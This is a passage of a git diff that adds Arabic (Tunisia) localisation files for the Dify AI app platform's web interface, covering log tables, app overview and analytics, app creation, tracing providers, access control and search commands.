+  table: {
+    header: {
+      time: 'الوقت',
+      endUser: 'المستخدم النهائي',
+      input: 'الإدخال',
+      output: 'الإخراج',
+      summary: 'العنوان',
+      messageCount: 'عدد الرسائل',
+      userRate: 'معدل المستخدم',
+      adminRate: 'معدل المسؤول',
+      startTime: 'وقت البدء',
+      status: 'الحالة',
+      runtime: 'وقت التشغيل',
+      tokens: 'الرموز',
+      user: 'المستخدم',
+      version: 'الإصدار',
+      updatedTime: 'الوقت المحدث',
+      triggered_from: 'محفّز بواسطة',
+    },
+    pagination: {
+      previous: 'السابق',
+      next: 'التالي',
+    },
+    empty: {
+      noChat: 'لا توجد محادثة حتى الآن',
+      noOutput: 'لا توجد مخرجات',
+      element: {
+        title: 'هل هناك أي شخص؟',
+        content: 'راقب وتهميش تفاعلات المستخدمين النهائيين والتطبيقات الذكية هنا لتحسين دقة الذكاء الاصطناعي باستمرار.',
+      },
+    },
+  },
+  detail: {
+    time: 'الوقت',
+    conversationId: 'معرف المحادثة',
+    promptTemplate: 'قالب المطالبة',
+    promptTemplateBeforeChat: 'قالب المطالبة قبل الدردشة · كرسالة نظام',
+    annotationTip: 'تحسينات تم وضع علامة عليها بواسطة {{user}}',
+    timeConsuming: '',
+    second: 'ثانية',
+    tokenCost: 'تكلفة الرموز',
+    loading: 'جاري التحميل',
+    operation: {
+      like: 'إعجاب',
+      dislike: 'لم يعجبني',
+      addAnnotation: 'إضافة تحسين',
+      editAnnotation: 'تعديل التحسين',
+      annotationPlaceholder: 'أدخل الإجابة المتوقعة التي تريد أن يرد بها الذكاء الاصطناعي، والتي يمكن استخدامها لضبط النموذج والتحسين المستمر لجودة توليد النص.',
+    },
+    variables: 'المتغيرات',
+    uploadImages: 'الصور المحملة',
+    modelParams: 'معلمات النموذج',
+  },
+  filter: {
+    period: {
+      today: 'اليوم',
+      last7days: 'آخر 7 أيام',
+      last4weeks: 'آخر 4 أسابيع',
+      last3months: 'آخر 3 أشهر',
+      last12months: 'آخر 12 شهرًا',
+      monthToDate: 'الشهر حتى الآن',
+      quarterToDate: 'الربع حتى الآن',
+      yearToDate: 'السنة حتى الآن',
+      allTime: 'كل الوقت',
+      last30days: 'آخر 30 يومًا',
+      custom: 'مخصص',
+    },
+    annotation: {
+      all: 'الكل',
+      annotated: 'تحسينات موصوفة ({{count}})',
+      not_annotated: 'غير موصوفة',
+    },
+    sortBy: 'رتب حسب:',
+    descending: 'تنازلي',
+    ascending: 'تصاعدي',
+  },
+  workflowTitle: 'سجلات سير العمل',
+  workflowSubtitle: 'سجل تفاصيل تشغيل سير العمل.',
+  runDetail: {
+    title: 'سجل المحادثة',
+    workflowTitle: 'تفاصيل السجل',
+    fileListLabel: 'تفاصيل الملف',
+    fileListDetail: 'تفاصيل',
+    testWithParams: 'اختبار مع المعلمات',
+  },
+  promptLog: 'سجل المطالبة',
+  agentLog: 'سجل الوكيل',
+  viewLog: 'عرض السجل',
+  agentLogDetail: {
+    agentMode: 'وضع الوكيل',
+    toolUsed: 'الأداة المستخدمة',
+    iterations: 'التكرارات',
+    iteration: 'تكرار',
+    finalProcessing: 'المعالجة النهائية',
+  },
+  triggerBy: {
+    debugging: 'تصحيح الأخطاء',
+    appRun: 'تشغيل التطبيق',
+    webhook: 'Webhook',
+    schedule: 'الجدول الزمني',
+    plugin: 'المكون الإضافي',
+    ragPipelineRun: 'تشغيل خط أنابيب RAG',
+    ragPipelineDebugging: 'تصحيح أخطاء RAG',
+  },
+  dateFormat: 'شهر/يوم/سنة',
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/app-overview.ts b/web/i18n/ar-TN/app-overview.ts
new file mode 100644
index 0000000000..d019e20b30
--- /dev/null
+++ b/web/i18n/ar-TN/app-overview.ts
@@ -0,0 +1,189 @@
+const translation = {
+  welcome: {
+    firstStepTip: 'للبدء،',
+    enterKeyTip: 'أدخل مفتاح OpenAI API الخاص بك أدناه',
+    getKeyTip: 'احصل على مفتاح API الخاص بك من لوحة تحكم OpenAI',
+    placeholder: 'مفتاح OpenAI API الخاص بك (مثلا sk-xxxx)',
+  },
+  apiKeyInfo: {
+    cloud: {
+      trial: {
+        title: 'أنت تستخدم حصة تجربة {{providerName}}.',
+        description: 'يتم توفير حصة التجربة لأغراض الاختبار الخاصة بك. قبل استنفاد حصة التجربة، يرجى إعداد مزود النموذج الخاص بك أو شراء حصة إضافية.',
+      },
+      exhausted: {
+        title: 'تم استنفاد حصة التجربة الخاصة بك، يرجى إعداد مفتاح API الخاص بك.',
+        description: 'لقد استنفدت حصة التجربة الخاصة بك. يرجى إعداد مزود النموذج الخاص بك أو شراء حصة إضافية.',
+      },
+    },
+    selfHost: {
+      title: {
+        row1: 'للبدء،',
+        row2: 'قم بإعداد مزود النموذج الخاص بك أولاً.',
+      },
+    },
+    callTimes: 'أوقات الاتصال',
+    usedToken: 'رمز مستخدم',
+    setAPIBtn: 'الذهاب لإعداد مزود النموذج',
+    tryCloud: 'أو جرب النسخة السحابية من Dify مع عرض مجاني',
+  },
+  overview: {
+    title: 'نظرة عامة',
+    appInfo: {
+      title: 'تطبيق ويب',
+      explanation: 'تطبيق ويب AI جاهز للاستخدام',
+      accessibleAddress: 'عنوان URL عام',
+      preview: 'معاينة',
+      launch: 'إطلاق',
+      regenerate: 'إعادة إنشاء',
+      regenerateNotice: 'هل تريد إعادة إنشاء عنوان URL العام؟',
+      preUseReminder: 'يرجى تمكين تطبيق الويب قبل المتابعة.',
+      enableTooltip: {
+        description: 'لتمكين هذه الميزة، يرجى إضافة عقدة إدخال المستخدم إلى اللوحة. (قد تكون موجودة بالفعل في المسودة، وتدخل حيز التنفيذ بعد النشر)',
+        learnMore: 'اعرف المزيد',
+      },
+      settings: {
+        entry: 'الإعدادات',
+        title: 'إعدادات تطبيق الويب',
+        modalTip: 'إعدادات تطبيق الويب من جانب العميل. ',
+        webName: 'اسم تطبيق الويب',
+        webDesc: 'وصف تطبيق الويب',
+        webDescTip: 'سيتم عرض هذا النص على جانب العميل، مما يوفر إرشادات أساسية حول كيفية استخدام التطبيق',
+        webDescPlaceholder: 'أدخل وصف تطبيق الويب',
+        language: 'اللغة',
+        workflow: {
+          title: 'سير العمل',
+          subTitle: 'تفاصيل سير العمل',
+          show: 'عرض',
+          hide: 'إخفاء',
+          showDesc: 'عرض أو إخفاء تفاصيل سير العمل في تطبيق الويب',
+        },
+        chatColorTheme: 'سمة لون الدردشة',
+        chatColorThemeDesc: 'تعيين سمة لون روبوت الدردشة',
+        chatColorThemeInverted: 'معكوس',
+        invalidHexMessage: 'قيمة hex غير صالحة',
+        invalidPrivacyPolicy: 'رابط سياسة الخصوصية غير صالح. يرجى استخدام رابط صالح يبدأ بـ http أو https',
+        sso: {
+          label: 'فرض SSO',
+          title: 'تطبيق ويب SSO',
+          description: 'يُطلب من جميع المستخدمين تسجيل الدخول باستخدام SSO قبل استخدام تطبيق الويب',
+          tooltip: 'اتصل بالمسؤول لتمكين تطبيق ويب SSO',
+        },
+        more: {
+          entry: 'عرض المزيد من الإعدادات',
+          copyright: 'حقوق النشر',
+          copyrightTip: 'عرض معلومات حقوق النشر في تطبيق الويب',
+          copyrightTooltip: 'يرجى الترقية إلى الخطة الاحترافية أو أعلى',
+          copyRightPlaceholder: 'أدخل اسم المؤلف أو المنظمة',
+          privacyPolicy: 'سياسة الخصوصية',
+          privacyPolicyPlaceholder: 'أدخل رابط سياسة الخصوصية',
+          privacyPolicyTip: 'يساعد الزوار على فهم البيانات التي يجمعها التطبيق، راجع <privacyPolicyLink>سياسة الخصوصية</privacyPolicyLink> لـ Dify.',
+          customDisclaimer: 'إخلاء مسؤولية مخصص',
+          customDisclaimerPlaceholder: 'أدخل نص إخلاء المسؤولية المخصص',
+          customDisclaimerTip: 'سيتم عرض نص إخلاء المسؤولية المخصص على جانب العميل، مما يوفر معلومات إضافية حول التطبيق',
+        },
+      },
+      embedded: {
+        entry: 'مضمن',
+        title: 'تضمين في الموقع',
+        explanation: 'اختر طريقة لتضمين تطبيق الدردشة في موقعك',
+        iframe: 'لإضافة تطبيق الدردشة في أي مكان على موقعك، أضف هذا iframe إلى كود html الخاص بك.',
+        scripts: 'لإضافة تطبيق دردشة إلى أسفل يمين موقعك، أضف هذا الكود إلى html الخاص بك.',
+        chromePlugin: 'تثبيت ملحق Dify Chatbot Chrome',
+        copied: 'تم النسخ',
+        copy: 'نسخ',
+      },
+      qrcode: {
+        title: 'رمز الاستجابة السريعة للرابط',
+        scan: 'مسح للمشاركة',
+        download: 'تحميل رمز الاستجابة السريعة',
+      },
+      customize: {
+        way: 'طريقة',
+        entry: 'تخصيص',
+        title: 'تخصيص تطبيق ويب AI',
+        explanation: 'يمكنك تخصيص الواجهة الأمامية لتطبيق الويب لتناسب سيناريو واحتياجات أسلوبك.',
+        way1: {
+          name: 'انسخ كود العميل، وقم بتعديله وانشره على Vercel (موصى به)',
+          step1: 'انسخ كود العميل وقم بتعديله',
+          step1Tip: 'انقر هنا لنسخ الكود المصدري إلى حساب GitHub الخاص بك وتعديل الكود',
+          step1Operation: 'Dify-WebClient',
+          step2: 'نشر على Vercel',
+          step2Tip: 'انقر هنا لاستيراد المستودع إلى Vercel والنشر',
+          step2Operation: 'استيراد المستودع',
+          step3: 'تكوين متغيرات البيئة',
+          step3Tip: 'أضف متغيرات البيئة التالية في Vercel',
+        },
+        way2: {
+          name: 'كتابة كود من جانب العميل لاستدعاء API ونشره على خادم',
+          operation: 'التوثيق',
+        },
+      },
+    },
+    apiInfo: {
+      title: 'واجهة برمجة تطبيقات خدمة الخلفية',
+      explanation: 'سهلة الدمج في تطبيقك',
+      accessibleAddress: 'نقطة نهاية واجهة برمجة تطبيقات الخدمة',
+      doc: 'مرجع API',
+    },
+    triggerInfo: {
+      title: 'المشغلات',
+      explanation: 'إدارة مشغلات سير العمل',
+      triggersAdded: 'تمت إضافة {{count}} مشغلات',
+      noTriggerAdded: 'لم تتم إضافة أي مشغل',
+      triggerStatusDescription: 'تظهر حالة عقدة المشغل هنا. (قد تكون موجودة بالفعل في المسودة، وتدخل حيز التنفيذ بعد النشر)',
+      learnAboutTriggers: 'تعرف على المشغلات',
+    },
+    status: {
+      running: 'في الخدمة',
+      disable: 'تعطيل',
+    },
+    disableTooltip: {
+      triggerMode: 'ميزة {{feature}} غير مدعومة في وضع عقدة المشغل.',
+    },
+  },
+  analysis: {
+    title: 'تحليل',
+    ms: 'مللي ثانية',
+    tokenPS: 'الرموز/ثانية',
+    totalMessages: {
+      title: 'إجمالي الرسائل',
+      explanation: 'عدد تفاعلات الذكاء الاصطناعي اليومية؛ يمنع هندسة/تصحيح المطالبة.',
+    },
+    totalConversations: {
+      title: 'إجمالي المحادثات',
+      explanation: 'عدد المحادثات اليومية للذكاء الاصطناعي؛ باستثناء هندسة/تصحيح المطالبة.',
+    },
+    activeUsers: {
+      title: 'المستخدمون النشطون',
+      explanation: 'المستخدمون الفريدون الذين يشاركون في Q&A مع المساعد؛ يستبعد هندسة/تصحيح المطالبة.',
+    },
+    tokenUsage: {
+      title: 'استخدام الرموز',
+      explanation: 'يعكس استخدام الرموز اليومية لنموذج اللغة لتطبيق WebApp، مفيدًا للتحكم في التكلفة.',
+      consumed: 'المستهلكة',
+    },
+    avgSessionInteractions: {
+      title: 'متوسط تفاعلات الجلسة',
+      explanation: 'عدد مفاتيح التواصل المستمر بين المستخدم والذكاء الاصطناعي؛ للمطبيقات القائمة على المحادثة.',
+    },
+    avgUserInteractions: {
+      title: 'متوسط تفاعلات المستخدم',
+      explanation: 'يعكس تكرار الاستخدام اليومي للمستخدمين. يعكس هذا المقياس لزوجة المستخدم.',
+    },
+    userSatisfactionRate: {
+      title: 'معدل رضا المستخدم',
+      explanation: 'عدد الإعجابات لكل 1000 رسالة. يشير هذا إلى النسبة التي يرضى فيها المستخدمون للغاية عن الإجابات.',
+    },
+    avgResponseTime: {
+      title: 'متوسط وقت الاستجابة',
+      explanation: 'الوقت (مللي ثانية) حتى يقوم الذكاء الاصطناعي بالمعالجة/الاستجابة؛ للمطبيقات النصية (text-based).',
+    },
+    tps: {
+      title: 'سرعة إخراج الرمز',
+      explanation: 'قياس أداء LLM. عد الرموز إخراج LLM من بداية الطلب إلى اكتمال الإخراج.',
+    },
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/app.ts b/web/i18n/ar-TN/app.ts
new file mode 100644
index 0000000000..ed79a6cae2
--- /dev/null
+++ b/web/i18n/ar-TN/app.ts
@@ -0,0 +1,351 @@
+const translation = {
+  createApp: 'إنشاء تطبيق',
+  types: {
+    all: 'الكل',
+    chatbot: 'روبوت دردشة',
+    agent: 'Agent',
+    workflow: 'سير العمل (Workflow)',
+    completion: 'إكمال',
+    advanced: 'Chatflow',
+    basic: 'أساسي',
+  },
+  duplicate: 'نسخ',
+  mermaid: {
+    handDrawn: 'رسم يدوي',
+    classic: 'كلاسيكي',
+  },
+  duplicateTitle: 'نسخ التطبيق',
+  export: 'تصدير DSL',
+  exportFailed: 'فشل تصدير DSL.',
+  importDSL: 'استيراد ملف DSL',
+  createFromConfigFile: 'إنشاء من ملف DSL',
+  importFromDSL: 'استيراد من DSL',
+  importFromDSLFile: 'من ملف DSL',
+  importFromDSLUrl: 'من رابط',
+  importFromDSLUrlPlaceholder: 'لصق رابط DSL هنا',
+  dslUploader: {
+    button: 'اسحب وأفلت الملف، أو',
+    browse: 'تصفح',
+  },
+  deleteAppConfirmTitle: 'حذف هذا التطبيق؟',
+  deleteAppConfirmContent:
+    'حذف التطبيق لا رجعة فيه. لن يتمكن المستخدمون من الوصول إلى تطبيقك بعد الآن، وسيتم حذف جميع تكوينات المطالبة والسجلات بشكل دائم.',
+  appDeleted: 'تم حذف التطبيق',
+  appDeleteFailed: 'فشل حذف التطبيق',
+  join: 'انضم إلى المجتمع',
+  communityIntro:
+    'ناقش مع أعضاء الفريق والمساهمين والمطورين على قنوات مختلفة.',
+  roadmap: 'شاهد خريطة الطريق',
+  newApp: {
+    learnMore: 'اعرف المزيد',
+    startFromBlank: 'إنشاء من البداية',
+    startFromTemplate: 'إنشاء من قالب',
+    foundResult: '{{count}} نتيجة',
+    foundResults: '{{count}} نتائج',
+    noAppsFound: 'لم يتم العثور على تطبيقات',
+    noTemplateFound: 'لم يتم العثور على قوالب',
+    noTemplateFoundTip: 'حاول البحث باستخدام كلمات مفتاحية مختلفة.',
+    chatbotShortDescription: 'روبوت دردشة قائم على LLM مع إعداد بسيط',
+    chatbotUserDescription: 'قم ببناء روبوت دردشة قائم على LLM بسرعة مع تكوين بسيط. يمكنك التبديل إلى Chatflow لاحقًا.',
+    completionShortDescription: 'مساعد AI لمهام توليد النصوص',
+    completionUserDescription: 'قم ببناء مساعد AI لمهام توليد النصوص بسرعة مع تكوين بسيط.',
+    agentShortDescription: 'وكيل ذكي مع الاستدلال واستخدام الأدوات المستقل',
+    agentUserDescription: 'وكيل ذكي قادر على الاستدلال التكراري واستخدام الأدوات بشكل مستقل لتحقيق أهداف المهمة.',
+    workflowShortDescription: 'تدفق وكيل للأتمتة الذكية',
+    workflowUserDescription: 'قم ببناء تدفقات عمل AI مستقلة بشكل مرئي مع بساطة السحب والإفلات.',
+    workflowWarning: 'حاليا في النسخة التجريبية (beta)',
+    advancedShortDescription: 'سير عمل محسن للمحادثات متعددة الأدوار',
+    advancedUserDescription: 'سير عمل مع ميزات ذاكرة إضافية وواجهة روبوت دردشة.',
+    chooseAppType: 'اختر نوع التطبيق',
+    forBeginners: 'أنواع تطبيقات أبسط',
+    forAdvanced: 'للمستخدمين المتقدمين',
+    noIdeaTip: 'لا توجد أفكار؟ تحقق من قوالبنا',
+    captionName: 'اسم التطبيق والأيقونة',
+    appNamePlaceholder: 'أعط اسمًا لتطبيقك',
+    captionDescription: 'الوصف',
+    optional: 'اختياري',
+    appDescriptionPlaceholder: 'أدخل وصف التطبيق',
+    useTemplate: 'استخدم هذا القالب',
+    previewDemo: 'معاينة العرض التوضيحي',
+    chatApp: 'مساعد',
+    chatAppIntro:
+      'أريد بناء تطبيق قائم على الدردشة. يستخدم هذا التطبيق تنسيق سؤال وجواب، مما يسمح بجولات متعددة من المحادثة المستمرة.',
+    agentAssistant: 'مساعد وكيل جديد',
+    completeApp: 'مولد نصوص',
+    completeAppIntro:
+      'أريد إنشاء تطبيق يولد نصوصًا عالية الجودة بناءً على المطالبات، مثل إنشاء المقالات والملخصات والترجمات والمزيد.',
+    showTemplates: 'أريد الاختيار من قالب',
+    hideTemplates: 'العودة إلى اختيار الوضع',
+    Create: 'إنشاء',
+    Cancel: 'إلغاء',
+    Confirm: 'تأكيد',
+    import: 'استيراد',
+    nameNotEmpty: 'لا يمكن أن يكون الاسم فارغًا',
+    appTemplateNotSelected: 'الرجاء تحديد قالب',
+    appTypeRequired: 'الرجاء تحديد نوع التطبيق',
+    appCreated: 'تم إنشاء التطبيق',
+    caution: 'تحذير',
+    appCreateDSLWarning: 'تحذير: قد يؤثر اختلاف إصدار DSL على ميزات معينة',
+    appCreateDSLErrorTitle: 'عدم توافق الإصدار',
+    appCreateDSLErrorPart1: 'تم اكتشاف اختلاف كبير في إصدارات DSL. قد يؤدي فرض الاستيراد إلى تعطل التطبيق.',
+    appCreateDSLErrorPart2: 'هل تريد المتابعة؟',
+    appCreateDSLErrorPart3: 'إصدار DSL للتطبيق الحالي: ',
+    appCreateDSLErrorPart4: 'إصدار DSL المدعوم من النظام: ',
+    appCreateFailed: 'فشل إنشاء التطبيق',
+    dropDSLToCreateApp: 'أفلت ملف DSL هنا لإنشاء تطبيق',
+  },
+  newAppFromTemplate: {
+    byCategories: 'حسب الفئات',
+    searchAllTemplate: 'بحث في كل القوالب...',
+    sidebar: {
+      Recommended: 'موصى به',
+      Agent: 'Agent',
+      Assistant: 'مساعد',
+      HR: 'الموارد البشرية',
+      Workflow: 'سير العمل',
+      Writing: 'كتابة',
+      Programming: 'برمجة',
+    },
+  },
+  editApp: 'تعديل المعلومات',
+  editAppTitle: 'تعديل معلومات التطبيق',
+  editDone: 'تم تحديث معلومات التطبيق',
+  editFailed: 'فشل تحديث معلومات التطبيق',
+  iconPicker: {
+    ok: 'موافق',
+    cancel: 'إلغاء',
+    emoji: 'رموز تعبيرية',
+    image: 'صورة',
+  },
+  answerIcon: {
+    title: 'استخدم أيقونة تطبيق الويب لاستبدال 🤖',
+    description: 'ما إذا كان سيتم استخدام أيقونة تطبيق الويب لاستبدال 🤖 في التطبيق المشترك',
+    descriptionInExplore: 'ما إذا كان سيتم استخدام أيقونة تطبيق الويب لاستبدال 🤖 في الاستكشاف',
+  },
+  switch: 'التبديل إلى Workflow Orchestrate',
+  switchTipStart: 'سيتم إنشاء نسخة تطبيق جديدة لك، وستنتقل النسخة الجديدة إلى Workflow Orchestrate. النسخة الجديدة ستكون ',
+  switchTip: 'غير مسموح',
+  switchTipEnd: ' بالعودة إلى Basic Orchestrate.',
+  switchLabel: 'نسخة التطبيق التي سيتم إنشاؤها',
+  removeOriginal: 'حذف التطبيق الأصلي',
+  switchStart: 'بدء التبديل',
+  openInExplore: 'فتح في الاستكشاف',
+  typeSelector: {
+    all: 'كل الأنواع',
+    chatbot: 'روبوت دردشة',
+    agent: 'Agent',
+    workflow: 'سير العمل',
+    completion: 'إكمال',
+    advanced: 'Chatflow',
+  },
+  tracing: {
+    title: 'تتبع أداء التطبيق',
+    description: 'تكوين مزود LLMOps خارجي وتتبع أداء التطبيق.',
+    config: 'تكوين',
+    view: 'عرض',
+    collapse: 'طي',
+    expand: 'توسيع',
+    tracing: 'تتبع',
+    disabled: 'معطل',
+    disabledTip: 'الرجاء تكوين المزود أولاً',
+    enabled: 'في الخدمة',
+    tracingDescription: 'التقاط السياق الكامل لتنفيذ التطبيق، بما في ذلك مكالمات LLM، والسياق، والمطالبات، وطلبات HTTP، والمزيد، إلى منصة تتبع تابعة لجهة خارجية.',
+    configProviderTitle: {
+      configured: 'تم التكوين',
+      notConfigured: 'تكوين المزود لتمكين التتبع',
+      moreProvider: 'مزيد من المزودين',
+    },
+    arize: {
+      title: 'Arize',
+      description: 'مراقبة LLM على مستوى المؤسسة، والتقييم عبر الإنترنت وغير المتصل بالإنترنت، والمراقبة، والتجريب - بدعم من OpenTelemetry. مصمم خصيصًا لتطبيقات LLM والتطبيقات التي تعتمد على الوكيل.',
+    },
+    phoenix: {
+      title: 'Phoenix',
+      description: 'منصة مفتوحة المصدر تعتمد على OpenTelemetry للمراقبة والتقييم وهندسة المطالبات والتجريب لتدفقات عمل LLM والوكلاء.',
+    },
+    langsmith: {
+      title: 'LangSmith',
+      description: 'منصة مطور شاملة لكل خطوة من خطوات دورة حياة التطبيق المدعوم بـ LLM.',
+    },
+    langfuse: {
+      title: 'Langfuse',
+      description: 'مراقبة LLM مفتوحة المصدر وتقييمها وإدارة المطالبات والمقاييس لتصحيح وتحسين تطبيق LLM الخاص بك.',
+    },
+    opik: {
+      title: 'Opik',
+      description: 'Opik هي منصة مفتوحة المصدر لتقييم واختبار ومراقبة تطبيقات LLM.',
+    },
+    weave: {
+      title: 'Weave',
+      description: 'Weave هي منصة مفتوحة المصدر لتقييم واختبار ومراقبة تطبيقات LLM.',
+    },
+    aliyun: {
+      title: 'Cloud Monitor',
+      description: 'منصة المراقبة المدارة بالكامل والتي لا تحتاج إلى صيانة والمقدمة من Alibaba Cloud، تتيح المراقبة الجاهزة والتتبع وتقييم تطبيقات Dify.',
+    },
+    mlflow: {
+      title: 'MLflow',
+      description: 'MLflow هي منصة مفتوحة المصدر لإدارة التجارب وتقييم ومراقبة تطبيقات LLM.',
+    },
+    databricks: {
+      title: 'Databricks',
+      description: 'توفر Databricks تدفق MLflow مدار بالكامل مع حوكمة وأمان قويين لتخزين بيانات التتبع.',
+    },
+    tencent: {
+      title: 'Tencent APM',
+      description: 'تُوفر مراقبة أداء التطبيقات من Tencent تتبعًا شاملاً وتحليلاً متعدد الأبعاد لتطبيقات LLM.',
+    },
+    inUse: 'قيد الاستخدام',
+    configProvider: {
+      title: 'تكوين ',
+      placeholder: 'أدخل {{key}} الخاص بك',
+      project: 'مشروع',
+      trackingUri: 'رابط التتبع',
+      experimentId: 'معرف التجربة',
+      username: 'اسم المستخدم',
+      password: 'كلمة المرور',
+      publicKey: 'المفتاح العام',
+      secretKey: 'المفتاح السري',
+      viewDocsLink: 'عرض وثائق {{key}}',
+      removeConfirmTitle: 'إزالة تكوين {{key}}؟',
+      removeConfirmContent: 'التكوين الحالي قيد الاستخدام، وستؤدي إزالته إلى إيقاف ميزة التتبع.',
+      clientId: 'معرف العميل (Client ID)',
+      clientSecret: 'سر العميل (Client Secret)',
+      personalAccessToken: 'رمز الوصول الشخصي (القديم)',
+      databricksHost: 'عنوان URL لمساحة عمل Databricks',
+    },
+  },
+  appSelector: {
+    label: 'تطبيق',
+    placeholder: 'اختر تطبيقًا...',
+    params: 'معلمات التطبيق',
+    noParams: 'لا توجد معلمات مطلوبة',
+  },
+  showMyCreatedAppsOnly: 'تم إنشاؤه بواسطتي',
+  structOutput: {
+    moreFillTip: 'يظهر 10 مستويات كحد أقصى من التداخل',
+    required: 'مطلوب',
+    LLMResponse: 'استجابة LLM',
+    configure: 'تكوين',
+    notConfiguredTip: 'لم يتم تكوين الإخراج الهيكلي بعد',
+    structured: 'هيكلي',
+    structuredTip: 'المخرجات الهيكلية هي ميزة تضمن أن يولد النموذج دائمًا استجابات تلتزم بـ JSON Schema الذي قدمته',
+    modelNotSupported: 'النموذج غير مدعوم',
+    modelNotSupportedTip: 'النموذج الحالي لا يدعم هذه الميزة ويتم تخفيضه تلقائيًا إلى حقن المطالبة.',
+  },
+  accessControl: 'التحكم في الوصول إلى تطبيق الويب',
+  accessItemsDescription: {
+    anyone: 'يمكن لأي شخص الوصول إلى تطبيق الويب (لا يلزم تسجيل الدخول)',
+    specific: 'يمكن فقط لأعضاء محددين داخل المنصة الوصول إلى تطبيق الويب',
+    organization: 'يمكن لجميع الأعضاء داخل المنصة الوصول إلى تطبيق الويب',
+    external: 'يمكن فقط للمستخدمين الخارجيين authenticated الوصول إلى تطبيق الويب',
+  },
+  accessControlDialog: {
+    title: 'التحكم في الوصول إلى تطبيق الويب',
+    description: 'تعيين أذونات الوصول إلى تطبيق الويب',
+    accessLabel: 'من لديه حق الوصول',
+    accessItems: {
+      anyone: 'أي شخص لديه الرابط',
+      specific: 'أعضاء محددون داخل المنصة',
+      organization: 'جميع الأعضاء داخل المنصة',
+      external: 'المستخدمون الخارجيون Authenticated',
+    },
+    groups_one: '{{count}} مجموعة',
+    groups_other: '{{count}} مجموعات',
+    members_one: '{{count}} عضو',
+    members_other: '{{count}} أعضاء',
+    noGroupsOrMembers: 'لم يتم تحديد مجموعات أو أعضاء',
+    webAppSSONotEnabledTip: 'الرجاء الاتصال بمسؤول المؤسسة لتكوين المصادقة الخارجية لتطبيق الويب.',
+    operateGroupAndMember: {
+      searchPlaceholder: 'بحث عن مجموعات وأعضاء',
+      allMembers: 'جميع الأعضاء',
+      expand: 'توسيع',
+      noResult: 'لا توجد نتائج',
+    },
+    updateSuccess: 'تم التحديث بنجاح',
+  },
+  publishApp: {
+    title: 'من يمكنه الوصول إلى تطبيق الويب',
+    notSet: 'لم يتم تعيينه',
+    notSetDesc: 'حاليا لا يمكن لأحد الوصول إلى تطبيق الويب. الرجاء تعيين الأذونات.',
+  },
+  noAccessPermission: 'لا يوجد إذن للوصول إلى تطبيق الويب',
+  noUserInputNode: 'عقدة إدخال المستخدم مفقودة',
+  notPublishedYet: 'التطبيق لم ينشر بعد',
+  maxActiveRequests: 'أقصى عدد للطلبات المتزامنة',
+  maxActiveRequestsPlaceholder: 'أدخل 0 لغير محدود',
+  maxActiveRequestsTip: 'الحد الأقصى لعدد الطلبات النشطة المتزامنة لكل تطبيق (0 لغير محدود)',
+  gotoAnything: {
+    searchPlaceholder: 'ابحث أو اكتب @ أو / للأوامر...',
+    searchTitle: 'ابحث عن أي شيء',
+    searching: 'جاري البحث...',
+    noResults: 'لم يتم العثور على نتائج',
+    searchFailed: 'فشل البحث',
+    searchTemporarilyUnavailable: 'البحث غير متاح مؤقتًا',
+    servicesUnavailableMessage: 'قد تواجه بعض خدمات البحث مشكلات. حاول مرة أخرى لاحقًا.',
+    someServicesUnavailable: 'بعض خدمات البحث غير متوفرة',
+    resultCount: '{{count}} نتيجة',
+    resultCount_other: '{{count}} نتائج',
+    inScope: 'في {{scope}}',
+    clearToSearchAll: 'امسح @ للبحث في الكل',
+    useAtForSpecific: 'استخدم @ لأنواع محددة',
+    selectToNavigate: 'اختر للانتقال',
+    startTyping: 'ابدأ الكتابة للبحث',
+    tips: 'اضغط ↑↓ للتنقل',
+    pressEscToClose: 'اضغط ESC للإغلاق',
+    selectSearchType: 'اختر ما تريد البحث عنه',
+    searchHint: 'ابدأ الكتابة للبحث عن كل شيء على الفور',
+    commandHint: 'اكتب @ للتصفح حسب الفئة',
+    slashHint: 'اكتب / لرؤية جميع الأوامر المتاحة',
+    actions: {
+      searchApplications: 'بحث في التطبيقات',
+      searchApplicationsDesc: 'البحث والانتقال إلى تطبيقاتك',
+      searchPlugins: 'بحث في الإضافات',
+      searchPluginsDesc: 'البحث والانتقال إلى إضافاتك',
+      searchKnowledgeBases: 'بحث في قواعد المعرفة',
+      searchKnowledgeBasesDesc: 'البحث والانتقال إلى قواعد المعرفة الخاصة بك',
+      searchWorkflowNodes: 'بحث في عقد سير العمل',
+      searchWorkflowNodesDesc: 'البحث والانتقال إلى العقد في سير العمل الحالي بالاسم أو النوع',
+      searchWorkflowNodesHelp: 'هذه الميزة تعمل فقط عند عرض سير العمل. انتقل إلى سير العمل أولاً.',
+      runTitle: 'أوامر',
+      runDesc: 'تشغيل أوامر سريعة (السمة، اللغة، ...)',
+      themeCategoryTitle: 'السمة',
+      themeCategoryDesc: 'تبديل سمة التطبيق',
+      themeSystem: 'سمة النظام',
+      themeSystemDesc: 'اتبع مظهر نظام التشغيل',
+      themeLight: 'السمة الفاتحة',
+      themeLightDesc: 'استخدم المظهر الفاتح',
+      themeDark: 'السمة الداكنة',
+      themeDarkDesc: 'استخدم المظهر الداكن',
+      languageCategoryTitle: 'اللغة',
+      languageCategoryDesc: 'تبديل لغة الواجهة',
+      languageChangeDesc: 'تغيير لغة واجهة المستخدم',
+      slashDesc: 'تنفيذ الأوامر (اكتب / لرؤية جميع الأوامر المتاحة)',
+      accountDesc: 'الانتقال إلى صفحة الحساب',
+      communityDesc: 'فتح مجتمع Discord',
+      docDesc: 'فتح وثائق المساعدة',
+      feedbackDesc: 'فتح مناقشات ملاحظات المجتمع',
+      zenTitle: 'وضع Zen',
+      zenDesc: 'تبديل وضع التركيز على اللوحة',
+    },
+    emptyState: {
+      noAppsFound: 'لم يتم العثور على تطبيقات',
+      noPluginsFound: 'لم يتم العثور على إضافات',
+      noKnowledgeBasesFound: 'لم يتم العثور على قواعد معرفة',
+      noWorkflowNodesFound: 'لم يتم العثور على عقد سير عمل',
+      tryDifferentTerm: 'جرب مصطلح بحث مختلف',
+      trySpecificSearch: 'جرب {{shortcuts}} لعمليات بحث محددة',
+    },
+    groups: {
+      apps: 'تطبيقات',
+      plugins: 'إضافات',
+      knowledgeBases: 'قواعد المعرفة',
+      workflowNodes: 'عقد سير العمل',
+      commands: 'أوامر',
+    },
+    noMatchingCommands: 'لم يتم العثور على أوامر مطابقة',
+    tryDifferentSearch: 'جرب مصطلح بحث مختلف',
+  },
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/billing.ts b/web/i18n/ar-TN/billing.ts
new file mode 100644
index 0000000000..e18d98ebcd
--- /dev/null
+++ b/web/i18n/ar-TN/billing.ts
@@ -0,0 +1,221 @@
+const translation = {
